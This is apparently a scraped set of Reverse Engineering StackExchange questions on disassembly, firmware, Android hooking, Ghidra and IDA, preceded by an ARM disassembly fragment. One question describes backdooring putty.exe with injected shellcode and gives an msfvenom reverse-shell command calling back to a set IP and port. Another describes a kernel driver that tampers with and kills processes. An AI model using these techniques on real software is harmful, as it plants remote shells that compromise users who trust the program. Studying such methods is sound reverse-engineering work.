+[0300:00f8] e3a04000 mov r4, #0x0                           
+[0300:00fc] e25aa001 subs r10, r10, #0x1                    
+[0300:0100] 44916004 ldrmi r6, [r1], #0x4                   
+[0300:0104] 43a0a01f movmi r10, #0x1f                       
+[0300:0108] e0966006 adds r6, r6, r6                        
+[0300:010c] e2a43007 adc r3, r4, #0x7                       
+[0300:0110] e3530008 cmps r3, #0x8                          
+[0300:0114] 0affffd2 beq $03000064                          
+[0300:0118] e3a08008 mov r8, #0x8
+[0300:011C] eb00005a bl $0300028c       
+[0300:0120] e1a04007 mov r4, r7                             
+[0300:0124] eaffffce b $03000064          
+[0300:0128] e7507007 ldrb r7, [r0, -r7]                     
+[0300:012c] eaffffcb b $03000060                
+[0300:0130] e3a08007 mov r8, #0x7
+[0300:0134] eb000054 bl $0300028c       
+[0300:0138] e3570000 cmps r7, #0x0                          
+[0300:013c] 0a000006 beq $0300015c                          
+[0300:0140] e1a0c007 mov r12, r7
+[0300:0144] e3a08002 mov r8, #0x2
+[0300:0148] eb00004f bl $0300028c        
+[0300:014C] e2879002 add r9, r7, #0x2
+[0300:0150] e35c0001 cmps r12, #0x1                         
+[0300:0154] 1a000042 bne $03000264
+[0300:0158] ea000046 b $03000278
+[0300:015c] e3a08002 mov r8, #0x2
+[0300:0160] eb000049 bl $0300028c       
+[0300:0164] e3570000 cmps r7, #0x0                          
+[0300:0168] 0a000059 beq $030002d4
+[0300:016C] e2878003 add r8, r7, #0x03
+[0300:0170] eb000045 bl $0300028c       
+[0300:0174] e1a05007 mov r5, r7                             
+[0300:0178] eaffffb9 b $03000064                                                                      
+[0300:017c] e3a09001 mov r9, #0x1                           
+[0300:0180] e25aa001 subs r10, r10, #0x1                    
+[0300:0184] 44916004 ldrmi r6, [r1], #0x4                   
+[0300:0188] 43a0a01f movmi r10, #0x1f                       
+[0300:018c] e0966006 adds r6, r6, r6                        
+[0300:0190] e0a99009 adc r9, r9, r9                         
+[0300:0194] e25aa001 subs r10, r10, #0x1                    
+[0300:0198] 44916004 ldrmi r6, [r1], #0x4                   
+[0300:019c] 43a0a01f movmi r10, #0x1f                       
+[0300:01a0] e0966006 adds r6, r6, r6                        
+[0300:01a4] 2afffff5 bcs $03000180                          
+[0300:01a8] e3590002 cmps r9, #0x2                          
+[0300:01ac] 1a00000d bne $030001e8                          
+[0300:01b0] e3a09001 mov r9, #0x1                           
+[0300:01b4] e25aa001 subs r10, r10, #0x1                    
+[0300:01b8] 44916004 ldrmi r6, [r1], #0x4                   
+[0300:01bc] 43a0a01f movmi r10, #0x1f                       
+[0300:01c0] e0966006 adds r6, r6, r6                        
+[0300:01c4] e0a99009 adc r9, r9, r9                         
+[0300:01c8] e25aa001 subs r10, r10, #0x1                    
+[0300:01cc] 44916004 ldrmi r6, [r1], #0x4                   
+[0300:01d0] 43a0a01f movmi r10, #0x1f                       
+[0300:01d4] e0966006 adds r6, r6, r6                        
+[0300:01d8] 2afffff5 bcs $030001b4                          
+[0300:01dc] e35c0001 cmps r12, #0x1                         
+[0300:01e0] 1a00001f bne $03000264                          
+[0300:01e4] ea000023 b $03000278        
+[0300:01e8] e2499003 sub r9, r9, #0x3                       
+[0300:01ec] e1a08005 mov r8, r5
+[0300:01f0] eb000025 bl $0300028c        
+[0300:01f4] e087c519 add r12, r7, r9, lsl r5                
+[0300:01f8] e3a09001 mov r9, #0x1                           
+[0300:01fc] e25aa001 subs r10, r10, #0x1                    
+[0300:0200] 44916004 ldrmi r6, [r1], #0x4                   
+[0300:0204] 43a0a01f movmi r10, #0x1f                       
+[0300:0208] e0966006 adds r6, r6, r6                        
+[0300:020c] e0a99009 adc r9, r9, r9                         
+[0300:0210] e25aa001 subs r10, r10, #0x1                    
+[0300:0214] 44916004 ldrmi r6, [r1], #0x4                   
+[0300:0218] 43a0a01f movmi r10, #0x1f                       
+[0300:021c] e0966006 adds r6, r6, r6                        
+[0300:0220] 2afffff5 bcs $030001fc                          
+[0300:0224] e35c0b40 cmps r12, #0x10000
+[0300:0228] 22899003 addcs r9, r9, #0x3                     
+[0300:022c] 2a00000c bcs $03000264                          
+[0300:0230] e59f80f0 ldr r8, [$03000328] (=$000037ff)       
+[0300:0234] e15c0008 cmps r12, r8                           
+[0300:0238] 22899002 addcs r9, r9, #0x2                     
+[0300:023c] 2a000008 bcs $03000264                          
+[0300:0240] e59f80e4 ldr r8, [$0300032c] (=$0000027f)       
+[0300:0244] e15c0008 cmps r12, r8                           
+[0300:0248] 22899001 addcs r9, r9, #0x1                     
+[0300:024c] 2a000004 bcs $03000264                          
+[0300:0250] e35c007f cmps r12, #0x7f                        
+[0300:0254] 8a000002 bhi $03000264                          
+[0300:0258] e2899004 add r9, r9, #0x4                       
+[0300:025c] e35c0001 cmps r12, #0x1                         
+[0300:0260] 0a000004 beq $03000278
+[0300:0264] e750800c ldrb r8, [r0, -r12]                    
+[0300:0268] e4c08001 strb r8, [r0], #0x1                    
+[0300:026c] e2599001 subs r9, r9, #0x1                      
+[0300:0270] 1afffffb bne $03000264                          
+[0300:0274] eaffff7a b $03000064
+[0300:0278] e750800c ldrb r8, [r0, -r12]                    
+[0300:027c] e4c08001 strb r8, [r0], #0x1                    
+[0300:0280] e2599001 subs r9, r9, #0x1                      
+[0300:0284] 1afffffc bne $0300027c                          
+[0300:0288] eaffff75 b $03000064                          
+[0300:028c] e35a0000 cmps r10, #0x0                         
+[0300:0290] 04916004 ldreq r6, [r1], #0x4                   
+[0300:0294] 03a0a020 moveq r10, #0x20                       
+[0300:0298] e1a0b008 mov r11, r8                            
+[0300:029c] e15b000a cmps r11, r10                          
+[0300:02a0] 81a0b00a movhi r11, r10                         
+[0300:02a4] e26b7020 rsb r7, r11, #0x20                     
+[0300:02a8] e1a07736 mov r7, r6, lsr r7                     
+[0300:02ac] e1a06b16 mov r6, r6, lsl r11                    
+[0300:02b0] e04aa00b sub r10, r10, r11                      
+[0300:02b4] e058800b subs r8, r8, r11                       
+[0300:02b8] 012fff1e bxeq lr                  
+[0300:02bc] e4916004 ldr r6, [r1], #0x4                     
+[0300:02c0] e268a020 rsb r10, r8, #0x20                     
+[0300:02c4] e1a0ba36 mov r11, r6, lsr r10                   
+[0300:02c8] e08b7817 add r7, r11, r7, lsl r8                
+[0300:02cc] e1a06816 mov r6, r6, lsl r8                     
+[0300:02d0] e12fff1e bx lr
+[0300:02d4] e8bd4ff0 ldmfd sp!, {r4-r11,lr}                 
+[0300:02d8] e12fff1e bx lr                         
+
+" +"['api', 'control-flow-graph', 'ghidra']"," Title: Ghidra Control Flow GraphBody: Lately I'm using Ghidra and I don't find the API to get the control flow graph of a given function. Can someone help me? + +Thank you in advance. + +EDIT: it is different from the other question (link) because I'm asking for the API. +" +"['ida', 'x86', 'pe']"," Title: Is there a way to generate a PE from a web assembly module?Body: I am in the process of analysing a large web assembly. I have the compiled .wasm file and using the tools available I can convert this to a .wat text representation. Currently, I am doing the following to convert each function within the wasm into its jit-ed assembly code: + + + +
// wasm is the binary; loaded from file
+var module = new WebAssembly.Module(wasm);
+var code = wasmExtractCode(module);
+var regions = code.segments.filter(s => s.kind === 0);
+regions.map(function(seg) {
+      var segmentcode = code.code.subarray(seg.funcBodyBegin, seg.funcBodyEnd);
+      // segmentcode contains the assembly code
+});
+
+ +Is there a way of using the code extracted in this way? Ideally, I'd like to generate a PE or some type of file I can drop in Ida and explore and analyse. I understand though that the format of wasm and PE files are fundamentally different and so this is a pretty big ask. If I dump the code from each function into a file and align each function properly, I can open the file in Ida and manually mark the function start and end, and I am then able to analyse it nicely. Doing this for over 27000 functions is a bit of an ask, though... + +Any ideas? +TIA +" +"['windows', 'c++']"," Title: Startdard singleton class implementation generate access to TLS memoryBody: I'v examine the assembly output in Windows of basic singleton implementation of using static variable to be initialized with new class instance from static function. + +to my surprise, although the class has process-wide scope, the inner implementation uses access to TLS. + +
myClass::getInstance()
+{
+    static v = new myClass();
+    return v; 
+}
+
+ +and the assembly output (the first relevant lines) : + +
push    rdi
+sub     rsp, 40h
+mov     rdi, rsp
+mov     ecx, 10h
+mov     eax, 0CCCCCCCCh
+rep stosd
+mov     [rsp+48h+var_18], 0FFFFFFFFFFFFFFFEh
+mov     eax, 4
+mov     eax, eax
+mov     ecx, cs:_tls_index
+mov     rdx, gs:58h
+mov     rcx, [rdx+rcx*8]
+
+ +Perhaps anybody can provide some insights about why this is needed (maybe performance) ? + +thanks +" +"['pe', 'tracing', 'windows-10']"," Title: How to retrace Database Changes from a SoftwareBody: i need to retrace database changes by an specific application. +The database is really big(~8GB) and contains over 300 tables, and some of the tables have > 100 columns. Another Problem is, that the database design isnt beautiful, as example most tables arent converted into the third normal form and columnnames are not meaningful. +I only have a bit reverse experience with patching, debugging, and decompiling win32 PE Files. + +Luckily i have a lot experience in manual malware analytics and understand x86_64(Linux) ASM and masm. Hopefully this knowledge will help me in this task. + +so, my real question is, what are common approaches to understanding database changes and understanding what the different data mean? +" +"['gdb', 'debuggers', 'lldb']"," Title: how watchpoint on register worksBody: GDB has an option to set watchpoint on register*, how does it work ? what happens during context switching ? why the only implementation is for mips ? + +Is there a way to make it work for lldb also ? + + +" +"['ida', 'encryption', 'hash-functions', 'ida-plugin']"," Title: Tool to search known hash/encryption algo in files in WindowsBody: I am looking for a tool (the best would be an Ida plugin) that can search files in a folder for a known hash (md5/sha1 etc.) and encryption (aes /rsa etc.). + +I know an Ida plugin called FindCrypt2 but this plugin can search only on the file (exe/dll) that is loaded in Ida. +" +"['disassembly', 'x86', 'c']"," Title: How can I convert the following disassembly code to pseudo code or C code?Body: I used IDA pro to get the following disassembly code. I am having difficulty converting it into the equivalent c code. + +
mov dword ptr [ebp-8], 1
+mov dword ptr [ebp-4], 0
+loc_401014:
+ cmp dword ptr [ebp-4], 4
+ jge short loc_40102E
+ mov eax, [ebp-8]
+ add eax, [ebp-4]
+ mov [ebp-8], eax
+ mov ecx, [ebp-4]
+ add ecx, 1
+ mov [ebp-4], ecx
+ jmp short loc_401014
+loc_40102E:
+
+" +"['firmware', 'linux', 'decryption', 'bluetooth']"," Title: Decrypt ibt.sfi linux firmware(Intel Wireless 8265 Linux Bluetooth)Body: Why I want to decrypt: + +Intel 8265 Bluetooth is likely a RAMUSB device, which needs system to update firmware. I try to transplant this linux firmware to macOS. + +Problems I met: + +The macOS BT firmware loader needs .hex file. However, I have no idea how this .sfi file is encrypted and I have to extract the filesystem. + +What I have done: + +To be honest, I am still in alpha stage. I try to make sense how linux deal with the firmware by studying firmware_class.c. Really need some guide here. + +readable output by strings -n 10 shows: + +
Copyright (c) 1
+996-2011 Express
+ Logic Inc. * Th
+readX ARC600/Met
+aWare Version G5
+ SN: 3306-09
+Processing
+#######*******11111118888888???????FFFFFFFMMMMMMMTTTTTTT[[[[[[[bbbbbbbiiiiiiipqr
+ssssssszzzzzzz
+Starved Poll Normal
+oll Starved
+BE Poll Normal
+BE Poll Resync BE
+BE Poll Resync GT
+BE Poll Data Idle
+BE Poll Data Data
+BE Poll Data No Data
+GT Poll Normal
+GT Poll Resync
+(*AB238<)+4567C
+Lmp Rsp Pending
+?0H6A<Z:S(l.e$~""w
+pSC_Thread
+pHCI_Thread
+pLLC_Thread
+pLC_Thread
+pSP_Thread
+pLEC_Thread
+  %(*.1499AEI
+MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
+  !!""""##$$%%&&''(())**++,,--..//011223344556778899:;;<<==>??@@ABBCCDEEFFGHHIJJKKLMMNOOPQQRSSTUUVWWXYYZ[[\]^^_``abccdeffghiijkllmnoopqr
+Fsstuvwwxyz{||}~
+System Timer Thread
+../../Sources/Infra/Src/fsmI
+../../Sources/Hal/Src/UartRx.c
+../../Sources/Ltec/Src/LtecCtrl.c
+../../Sources/Ltec/Src/LtecPm.c
+
+ +and hexdump makes no sense to me + + + +Also there's no luck by running binwalk: + +
DECIMAL       HEXADECIMAL     DESCRIPTION
+--------------------------------------------------------------------------------
+528028        0x80E9C         Copyright string: ""Copyright (c) 1""
+
+ +Source: + +ibt-12-16.sfi + +ibt-12-16.ddc + +Additional Details: + +ibt-12-16.ddc & ibt-12-16.sfi are loaded in L578 in btintel.c +" +"['windows', 'windbg', 'process']"," Title: Detecting protected processes and critical processes from windows driverBody: I've got a driver that tamper user-space processes by sending APC calls upon process start using the call PsSetCreateProcessNotifyRoutine. + +I wish to avoid tampering with any process that is critical for the OS stability, since my APC also eventually decides to kill the process. + +So far I've used PsIsProtectedProcess and PsIsProtectedProcessLight in order to detect protected processes. + +However, it appears that there are some processes such as smss.exe and crss.exe and wininit.exe that are defined as critical processes and I also wish to avoid them. + +Perhaps anybody knows that difference between protected and critical process, and how can I detect critical process programmatically from kernel-mode (maybe it has ad-hoc field in EPROCESS ? ) + +thanks, +" +"['disassembly', 'x86', 'decompilation', 'c']"," Title: How can I convert the following assembly code to pseudo code?Body: I got the following disassembly code in IDA pro. I really find it hard to convert it into pseudo code. + +
push ebp
+mov ebp, esp
+sub esp, 14h
+mov dword ptr [ebp-14h], 1
+mov dword ptr [ebp-10h], 2
+mov dword ptr [ebp-0Ch], 3
+mov dword ptr [ebp-4], 0
+
+loc_401022:
+ cmp dword ptr [ebp-4], 3
+ jge loc_40103D
+ mov eax, [ebp-4]
+ mov ecx, [ebp+eax*4-14h]
+ mov [ebp-8], ecx
+ mov edx, [ebp-4]
+ add edx, 1
+ mov [ebp-4], edx
+ jmp loc_401022
+
+loc_40103D:
+ xor eax, eax
+ mov esp, ebp
+ pop ebp
+ ret
+
+" +"['binary-analysis', 'decompilation']"," Title: Decryption loopsBody: I'm reversing a CTF binary and I found a decryption loop decompiled by IDA like this: + +
for ( i = 0; i < n; ++i )
+  {
+    v22 = *((_BYTE *)sub_5657D89B + i);
+    v0 = v22 ^ 0x90;
+    v1 = strlen(&s);
+    *((_BYTE *)src + i) = *(&s + i % v1) ^ v0;
+  }
+
+ +The variable &s is pointing to the stack with these other bytes: + +
  s = 0xF9u;
+  v4 = 0xFCu;
+  v5 = 0xFFu;
+  v6 = 0xE6u;
+  v7 = 0xF5u;
+  v8 = 0xE0u;
+  v9 = 0xF1u;
+  v10 = 0xF3u;
+  v11 = 0xFBu;
+  v12 = 0xF9u;
+  v13 = 0xFEu;
+  v14 = 0xF7u;
+  v15 = 0xFDu;
+  v16 = 0xE9u;
+  v17 = 0xF3u;
+  v18 = 0xFFu;
+  v19 = 0xF4u;
+  v20 = 0xF5u;
+  v21 = 0;
+
+ +I really don't get the purpose of the division with v1 here: *(&s + i % v1). The variable n is equal to 0x140. +" +"['firmware', 'qemu', 'emulation']"," Title: QEMU fpu mode error when attempting to run MIPS binaryBody: I have unpacked a firmware binary using binwalk and have identified the architecture as MIPS by running file bin/busybox . When I try to run the binary with the proper static version of qemu, i get an error with FPU mode ex: + +
 chroot . ./qemu-mips-static bin/busybox
+ qemu: Unexpected FPU mode 
+
+ +I can't find anything on this error. I have tried this on several different firmwares and i keep getting the same error. + +The OS is Kali linux with qemu-user-static installed and the qemu-mips-static static binary place in the root directory of the unpacked firmware. +" +"['linux', 'tools', 'binary', 'ios']"," Title: Lipo alternate for linuxBody: Currently, I'm using lipo tool to extract the arch type from a fat iOS binary on a Mac OS. Now, I want to do the same on the linux platform for the iOS binaries, i.e. extract a given arch type from a fat iOS binary on a linux platform. However, lipo support is not available on Linux. + +Any suggestions how can I achieve the same? Any alternate of lipo for linux which does the same? +" +"['android', 'java']"," Title: decompiled android application with only one class [DexProtector]Body: I'm trying to reverse engineering an android app and it's mostly for an experiment but I have a problem that I can't find a solution or even what is the problem. + +I decompiled an app with JADX-gui and the whole app only have a single class named + +public class ProtectedMyApplication extends Application + +and its a really large file and my IDE can't open it well but on this class file there is a byte[] with almost 2000 lines of bytes I can't find any other classes but in the manifest file I can see the other classes + +my questions are : +what is this method? and how can I study it? and is there a way to see the original smali or java code? + +UPDATE: + +app is using Dexprotecter I think and I watched the changing files and when I start the app there is two folders that will be modify one of them is the encrypted code (a .dat file with a .dex file) and there is another folder named app_outdex and I think this is the decrypted code but I can't catch the file app will remove it immediately is there any way to catch the file? I'm really so dumb in the Linux +" +['android']," Title: Android how can i hook native exported functions from a shared library *.so?Body: It needs to work even on older versions of android (3.x and above) specifically the old Sony ""PS Certified"" devices, the device im working with (Sony Tablet S) i have seen reports online that installing the xposed framework will brick the device however you CAN get root + +So is there any other way to hook native functions on android? +" +"['ida', 'debugging', 'debuggers']"," Title: IDA Pro - Remote debugging suse enterpris server 10 (glibc2_10 required)Body: I have a Suse enterprise server 10 on VMWare. I want to remote debug an application in this VM using IDA pro, I already tried these: + +
    +
  1. Copied linux_server form IDApro into this VM and tried to run it, but it gives this error: linux_server : /lib/libc.so.6 : version 'GLIBC_2.7' not foundn (required by ./linux_server)
  2. +
  3. Downloaded and extracted glibc2.7 near linux_server and modified Library search path (environment value) and then tried to run linux_server, but it failed with another error.
  4. +
+ +I think the problem is that linux_server has been compiled using newer versions of glibc, but that version of suse is using older versions. +so I think the question is: How can I remote debug an application in old-linux machines? Is there exists an older version of debugger that runs is such scenarios? +" +"['disassembly', 'windows', 'binary-analysis', 'decompilation', 'ghidra']"," Title: How to load symbols from a symbol server in Ghidra?Body: I've been trying to learn Ghidra by attempting to reverse the comctl32.dll system library, which has many of its functions documented. I started the de-compilation analysis in it, and after a while it showed this error message: + +(I don't know how soon it happened. I had to leave it to do its thing as sadly it was taking too long.) + + + +Then I happened to see that if I go to File -> Download PDB file, then select some folder on my drive and provide Microsoft symbol path https://msdl.microsoft.com/download/symbols and click ""Download from URL"" it seems to download it. + +It then asks if I want to apply it to the project and if I click Yes it shows this warning: + + + +So I'm obviously not doing it right. + +Thus I was curious: + +A) Is it possible to provide the symbol server path and have it download needed symbol files automatically? + +B) If not, what's the sequence to load symbols for a particular binary? It seems like it wants to have symbols up front, but how would I know which files/imports it may need (besides the obvious binary file that I'm opening)? +" +['pe']," Title: how to get address of PE section to jump in while backdooring PE binaryBody: EDIT: +I have posted this poste at security.stackexchange + +I am trying to follow this tutorial to backdoor a simple 32bits PE binary (putty.exe). + +The method used is to create a new section (named .test) containing some shellcode, changing the first CALL instruction to JMP on it, executing it, and JMPing back to the original address the first CALL instruction contained before change for JMP. + +First part is adding new section, and I am OK with it (done with LordPE). Here are its caracteristics: + +
Name    VOffset    VSize     ROffset   RSize    Flags
+.test   00110000   00001000  00106E00  00001000 E0000060
+
+ +In immunity, I have loaded putty.exe. Memory view shows me that .test section is getting mapped at address 00510000 + +Here are the first instructions being launched: + +
7D4D1512 PUSH EAX
+0046F346 CALL putty. <--- I changed this for JMP putty.00510000
+0046F34B JMP putty.
+
+ +Debug mode JMP indeed to 00510000 ! So I copy/paste the payload at this place and debug again: payload created via: + +
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f hex
+
+ +I save the binary an re-launch immunity to debug it: + +
7D4D1512 PUSH EAX
+0046F346 JMP putty.00510000
+
+ +But JMP occurs now at the very end of the shellcode ! At 0051008E ! + +Feeling the beginning of the section with NOP does not change the behavior (always at the end of the shellcode). + +How is it possible to force the execution flow to the beginning of my shellcode instead ? As no one seems to have encountered this trouble, I suppose I missed some basics. + +The document explains how the address is getting calculating like this: + +
Next step is to hijack the first instruction by jumping to our new section,
+for that we need the RVA for both the .test section, first CALL instruction
+and address of the next instruction.
+
+001C9DE6 > $ E8 15770000 CALL PsExec_b.001D1500
+001C9DEB .^E9 7BFEFFFF JMP PsExec_b.001C9C6B
+
+RVA of 001D1500 is RVA_11500. RVA of 001C9DEB is RVA_9DEB, RVA of .test is RVA_7D0000.
+
+ +I have no idea how he gets from 001D1500 to 11500 and what is the 1C0000 gap between these two values. + +Many thanks for you help understanding this point; +" +"['ollydbg', 'tracing']"," Title: Getting a full trace (every line) from ollydbgBody: When I use the ollydbg run trace I don't seem to he getting every single line as I expect to. First off let me explain what Iexpect to see: + +
Address hexDumb Command comments EAX ECX etc...
+0042AD43 BLAH JNZ 00112345 somecomment 01010101 10101010... etc....
+0042AD48 FLAH XOR EAX, ECX anothercomment 01010101 10101010... etc...
+
+ +Essentially each line from the CPU window, all of the data that you see for each line. + +When I step into each command by hand in ollydbg then I get to see each command of the thousands that are executed. However when I use the run trace I get a hand ful of commands, somewhere in the range of 50 commands. +" +['ida']," Title: Stop currently running Ida Script mid executionBody: I ran an ida script and forgot to account for an infinite loop that keeps making a dialog pop up. Is there any keyboard command that will stop an Ida script from running mid execution? Thank you. I'm using Ida Freeware 7.0 +" +['android']," Title: What changed after Android 8.0?Body: I compile code below use library Cydia Substrate, and run on a test application, and it works Android 4.4, 5.1, 6.0, 7.0, 7.1. But on Android 8.0+ application does not work with this code, why is that? Why hook does not work in own process? + +
#include <jni.h>
+#include <CydiaSubstrate.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+
+long baseAddr(char *soname) //find base address
+{
+    void *imagehandle = dlopen(soname, RTLD_LOCAL | RTLD_LAZY);
+    if (soname == NULL)
+        return NULL;
+    if (imagehandle == NULL){
+        return NULL;
+    }
+    uintptr_t * irc = NULL;
+    FILE *f = NULL;
+    char line[200] = {0};
+    char *state = NULL;
+    char *tok = NULL;
+    char * baseAddr = NULL;
+    if ((f = fopen(""/proc/self/maps"", ""r"")) == NULL)
+        return NULL;
+    while (fgets(line, 199, f) != NULL)
+    {
+        tok = strtok_r(line, ""-"", &state);
+        baseAddr = tok;
+        tok = strtok_r(NULL, ""\t "", &state);
+        tok = strtok_r(NULL, ""\t "", &state); // ""r-xp"" field
+        tok = strtok_r(NULL, ""\t "", &state); // ""0000000"" field
+        tok = strtok_r(NULL, ""\t "", &state); // ""01:02"" field
+        tok = strtok_r(NULL, ""\t "", &state); // ""133224"" field
+        tok = strtok_r(NULL, ""\t "", &state); // path field
+
+        if (tok != NULL) {
+            int i;
+            for (i = (int)strlen(tok)-1; i >= 0; --i) {
+                if (!(tok[i] == ' ' || tok[i] == '\r' || tok[i] == '\n' || tok[i] == '\t'))
+                    break;
+                tok[i] = 0;
+            }
+            {
+                size_t toklen = strlen(tok);
+                size_t solen = strlen(soname);
+                if (toklen > 0) {
+                    if (toklen >= solen && strcmp(tok + (toklen - solen), soname) == 0) {
+                        fclose(f);
+                        return (long)strtoll(baseAddr,NULL,16);
+                    }
+                }
+            }
+        }
+    }
+    fclose(f);
+    return NULL;
+}
+
+long location;
+
+long RealOffset(long offset)
+{
+    if (location == 0)
+    {
+
+        location = baseAddr(""/data/app/com.test.test-1/lib/arm/libtest.so"");
+        if (location == 0)
+        {
+
+            location = baseAddr(""/data/app-lib/com.test.test-1/libtest.so"");
+        }
+    }
+    return location + offset;
+}
+
+void orig_func(void*);
+void hook_func(void*){
+    return;
+}
+
+__attribute__((constructor))
+void main() {
+    MSHookFunction((void *) RealOffset(0x1234C), (void *) &hook_func, (void **) &orig_func); //replace the function
+}
+
+" +"['ida', 'disassembly']"," Title: How to disassemble .mbn files?Body: I can't disassemble .mbn files using ida pro 7+ if I use some scripts from GitHub than I can't disassemble any function, any help ? +I want to reverse qcom bootloader +" +"['exploit', 'patching']"," Title: Defence against crackingBody: Say I wrote an application and published demo version of it with a possibility to buy a full version. I was wondering if it is possible to stop people from cracking it, so that the only ones who use it are those who actually paid for it. +Is it possible to achieve? If not, what are the best known techniques used to obstruct cracking? +" +"['windows', 'windows-10']"," Title: How can I enumerate and hook into a Windows 10 RPC interface?Body: Suppose that I have a certain Windows service that I know exposes a local RPC interface. I want to create a client program that calls into these procedures; however, I do not have the source code for the service application. + +I know that I can use Process Explorer to get the name of the server's ALPC handle under \RPC Control, and I guess that this handle could be used to create a binding string which would allow my client to connect to the server. This should hopefully solve the connection part. + +However, how should I go on about defining the actual RPC interface for my client to get code executed on the server? I would first need to identify remote procedures and the arguments that they take, and then code a proper client. My guess is that I should write an idl file that somehow fits with the service, and then compile it using midl compiler with an appropriate configuration. Is this the best strategy or would someone with more experience suggest something else? What are the most efficient techniques or tools to enumerate and reverse engineer RPC interfaces? Is reversing even necessary? Does anyone has some experience they could share about this? +" +"['debugging', 'debuggers']"," Title: Does pwntools provide any Radare2 integration?Body: I want to use pwntools with Radare2, since this is my debugger of choice. + +However, I can only find GDB-related library calls in pwntools' documentation (pwnlib.gdb). + +Anyone with experience in integration Radare2 with pwntools? +" +['android']," Title: Is there a way to perform dex/smali/android class verification on linux or mac?Body: Is there a way to perform class verification on dex or smali files before the apk is pushed to the android device? +" +['frida']," Title: Frida command not available after installing Frida PIP Python packageBody: Why is the frida command not available on the command line. +After I install Frida by running + +
$ pip install --user frida
+
+ +It looks like the installation was successful, but when I run the frida command the system cannot find it. + +
$ frida
+frida: command not found
+
+ +Is the Python PIP package for Frida broken? +" +"['ida', 'disassembly', 'debugging', 'tracing']"," Title: IDA PRO Tracing stoppsBody: I need to get data from the window of the external program. This data is dynamic and changes each time the additional window is restarted. I have already found an offset, but I need to find the register of ecx that comes into my function from another function. I try to trace which function calls the function I need, it usually worked for other programs. But now when i trace the functions the trace lagging and stops. I set a breakpoint when creating the window to see all the actions that occur. I have an idea that the tracing stops, because in this program a lot of things work through additional Qt5 libraries as example Qt5Core.dll. +" +"['patch-reversing', 'strings', 'hopper', 'macos']"," Title: Not able to find Hard coded strings in the mac executable fileBody: I know that there is a string called ""Activate your subscription"" used in this particular app. But Im not able to find this string from its executable. I tried strings myapp and also searched for same string with Hopper disassembler but it both haven't found location of that string. + +So my question what am I missing here and is this some kind of obfuscation used by these apps ? + +Image of a screen in this particular mac app where ""Activate your subscription"" string is used + + + +After Searching for ""Activate"" string in Hopper + + +" +['disassembly']," Title: How to determine platform from .bin?Body: I have an android app (com.daye.dayeapp) to control my robot lawn mower. The App contains new firmware in the assets folder, in the form of a 122KB .bin file. +How do I determine the architecture of that ? binwalk is no help. + +My decompile/hacking experience is old. Z80 and 68k series CPU. Old pre-intel MacOS. Removed lots of copy protection back in the old days. + +Looking at the output of strings, it contains lots of unencrypted data. Some places there are clearly '\0' terminated strings. + +BinWalk has some entropy indicating some sections. But it is likely false positives. At least the last one. + +Is there any other way than to pop it open and try to identify the architecture from the chips ? + +It does have sensors, LCD display, buttons, bluetooth module. So it does have some I/O ports. I might try to read out raw firmware if I can find some JTAG header. + +
DECIMAL       HEXADECIMAL     ENTROPY
+--------------------------------------------------------------------------------
+0             0x0             Falling entropy edge (0.711720)
+120832        0x1D800         Falling entropy edge (0.843220)
+123904        0x1E400         Falling entropy edge (0.842013)
+
+0x0001E3B0  20 20 16 4C 06 4D 6F 77 65 72 31 23 0D 16 00 1B |...L.Mower1#....|
+0x0001E3C0  12 33 01 A1 21 69 66 A0 0D 32 30 31 37 30 38 32 |.3..!if..2017082|
+0x0001E3D0  33 32 33 34 35 74 A0 04 31 30 31 01 42 32 07 42 |32345t..101.B2.B|
+0x0001E3E0  33 07 42 34 07 42 35 07 32 36 2A 0C 1D 6C 23 2A |3.B4.B5.26*..l#*|
+0x0001E3F0  38 3F 54 5B 69 4D 6F 6E 54 75 65 57 65 64 54 68 |8?T[iMonTueWedTh|
+0x0001E400  75 46 72 69 53 61 74 53 75 6E 6C 14 92 11 E3 0D |uFriSatSunl.....|
+0x0001E410  2F 41 03 02 3D 2A 01 0D 11 6C 16 0D B4 21 24 1C |/A..=*...l...!$.|
+0x0001E420  05 0F 54 24 54 21 24 1E 2E C6 23 1E 2E F6 17 1C |..T$T!$...#.....|
+
+ +\0 terminated strings (with CRLF line endings !?): + +
0x0000A270  A0 24 00 20 A4 24 00 20 A8 24 00 20 43 4F 4C 4C |.$...$...$..COLL|
+0x0000A280  49 53 49 4F 4E 20 72 65 74 75 72 6E 20 0D 0A 0D |ISION.return....|
+0x0000A290  0A 20 00 00 54 49 4C 54 20 72 65 74 75 72 6E 20 |....TILT.return.|
+0x0000A2A0  0D 0A 0D 0A 20 00 00 00 AC 00 00 20 AD 00 00 20 |................|
+0x0000A2B0  AC 24 00 20 4F 55 54 20 42 4F 55 4E 44 41 52 59 |.$..OUT.BOUNDARY|
+0x0000A2C0  20 72 65 74 75 72 6E 20 0D 0A 0D 0A 20 00 00 00 |.return.........|
+
+ +And beginning of file. Looks strange ? Some jump table ? + +
0x00000000  B0 73 00 20 55 11 01 08 39 11 01 08 3B 11 01 08 |.s..U...9...;...|
+0x00000010  3F 11 01 08 43 11 01 08 47 11 01 08 00 00 00 00 |?...C...G.......|
+0x00000020  00 00 00 00 00 00 00 00 00 00 00 00 4B 11 01 08 |............K...|
+0x00000030  4D 11 01 08 00 00 00 00 4F 11 01 08 51 11 01 08 |M.......O...Q...|
+0x00000040  6F 11 01 08 6F 11 01 08 6F 11 01 08 E9 53 01 08 |o...o...o....S..|
+0x00000050  6F 11 01 08 6F 11 01 08 1F 4F 01 08 6F 11 01 08 |o...o....O..o...|
+0x00000060  6F 11 01 08 6F 11 01 08 6F 11 01 08 6F 11 01 08 |o...o...o...o...|
+0x00000070  6F 11 01 08 6F 11 01 08 6F 11 01 08 6F 11 01 08 |o...o...o...o...|
+0x00000080  6F 11 01 08 6F 11 01 08 6F 11 01 08 6F 11 01 08 |o...o...o...o...|
+0x00000090  6F 11 01 08 6F 11 01 08 6F 11 01 08 91 43 01 08 |o...o...o....C..|
+0x000000A0  6F 11 01 08 6F 11 01 08 6F 11 01 08 6F 11 01 08 |o...o...o...o...|
+0x000000B0  FD 0B 02 08 01 4B 01 08 6F 11 01 08 6F 11 01 08 |.....K..o...o...|
+0x000000C0  6F 11 01 08 6F 11 01 08 6F 11 01 08 6F 11 01 08 |o...o...o...o...|
+0x000000D0  6F 11 01 08 3F 68 02 08 6F 11 01 08 6F 11 01 08 |o...?h..o...o...|
+0x000000E0  6F 11 01 08 6F 11 01 08 6F 11 01 08 6F 11 01 08 |o...o...o...o...|
